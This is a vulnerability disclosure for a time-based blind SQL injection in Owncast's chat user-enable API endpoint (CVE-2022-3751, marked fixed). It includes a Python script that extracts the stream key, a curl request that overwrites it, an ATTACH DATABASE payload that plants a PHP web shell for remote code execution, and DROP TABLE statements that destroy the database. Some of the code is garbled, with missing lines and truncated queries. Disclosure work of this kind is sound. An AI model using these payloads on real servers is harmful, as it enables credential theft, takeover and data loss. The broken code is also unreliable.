Moderators can perform Time based SQL injection attack. in owncast/owncast



The API endpoint /api/chat/users/setenabled (POST) is vulnerable to a Time based blind SQL injection attack via body parameter '**userId**'. It allows a

Moderator to read, modify or delete the entries in the sqlite database. Moderator can leak the stream key to access admin dashboard.

Proof of concept

Scenario 1 - Exfiltrate stream_key

Access token of a moderator can be used here

```
import requests, json
from requests.exceptions import ReadTimeout
TIMEOUT = 4 # seconds
ACCESS TOKEN =
HOST =
def calldb(query):
    ENDPOINT = "/api/chat/users/setenabled"
    url = HOST + ENDPOINT +"?accessToken=" + ACCESS_TOKEN
   headers = {
        "Connection" : "close",
       "Content-type" : "application/json",
    body = {
        "userId" : "8CTMIMI4R'; "+query+"--",
       r = requests.post(url, data=json.dumps(body), headers=headers, timeout=TIMEOUT)
    except ReadTimeout: # successful hit
test_query = "select value from datastore where key>0 AND 1=RANDOMBLOB(300000000/2)"
if calldb(test_query):
charset = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']
pos = 9 # first 8 characters is blob metadata
_{pos} = pos-1
   if _pos == pos:
       break
   print("trying to leak character at position : ", pos - 8)
    _pos += 1
    for char in charset:
       delay_query = "select case substr((select hex(value) from datastore where key = 'stream_key'), {pos},1) when
        if calldb(delay_query):
           leak += char
           print('leak: ', leak)
           pos += 1
print("stream_key is :", bytes.fromhex(leak).decode('ascii'))
```

It might be required to run the code multiple times for perfect result, while tweaking the TIMEOUT.

Scenario 2 - Modifying stream_key

Before running the following curl command:



Change the *hostname* to the correct host value, point to the right port.

Change value of accessToken to the token value that corresponds to the current moderator user. (can be obtained from browser session storage)

```
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8080' \
-H $'Content-Length: 122' \
-H $'Content-Type: application/json' \
-H $'Accept: */*' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Accept-Language: en-US,en;q=0.9' \
-H $'Connection: close' \
--data-binary $'{\"userId\":\"8CTMIMI4R\'; UPDATE datastore set value = x\'0A0CC00077065616E757473\' WHERE key = \':\"$'http://localhost:8080/api/chat/users/setenabled?accessToken=0gs8sH3xjVXFlenDAG8nSRshsEdoKZNAKaJQ8Yrter0%3D'
```

The above command demonstrates a *Moderator* performing the attack to change *stream_key* to '*peanuts*', since stream_key is cached in memory, it will require the application to restart to reflect the new credentials.

Alternate way to verify: Run the following query in the sqlite database store to print stream_key.

```
select hex(value) from datastore WHERE key = 'stream_key';
```

It should output the following value: 0A0C00077065616E757473 .

Scenario 3 - Remote Code Execution

The vulnerability could be exploited to write arbitrary files on the server using by crafting the following SQL query:

```
ATTACH DATABASE '/webroot/abcd.php' AS X; CREATE TABLE X.pwn (pwndata text); INSERT INTO X.pwn (pwndata) VALUES (".
```

In an environment where PHP is installed, this will allow an attacker to perform Remote code execution by sending command via http://host.com/abcd.php?cmd=

Scenario 4 - Denial of Service

Moderator can craft the following SQL query to perform a Denial-of-Service attack. Caution: running the following query would wipe out respective tables in the database.

```
DROP table users; DROP table user_access_tokens; DROP table ip_bans; DROP table datastore;
```

Impact

Moderator could read, modify or delete all entries in the sqlite database using the vulnerability, this include stream_key, config and session tokens of other users.

Moderator could write arbitrary files in web root to escalate to perform Remote code execution.

With already 490+ forks on the repo now, it's likely that other forks are also impacted.

Likelihood: High. Any user with moderator privileges on the platform can perform the attack.

Occurrences



CVE

CVE-2022-3751 (Assigned)

Vulnerability Type

CWE-89: SQL Injection

Severity

High (8.8

Registry

Golano

Affected Version

v0.0.12

Visibility

Private

Status

Fixed

Disclosure Bounty

\$0 (confidential)

Fix Bounty

\$0 (confidential)



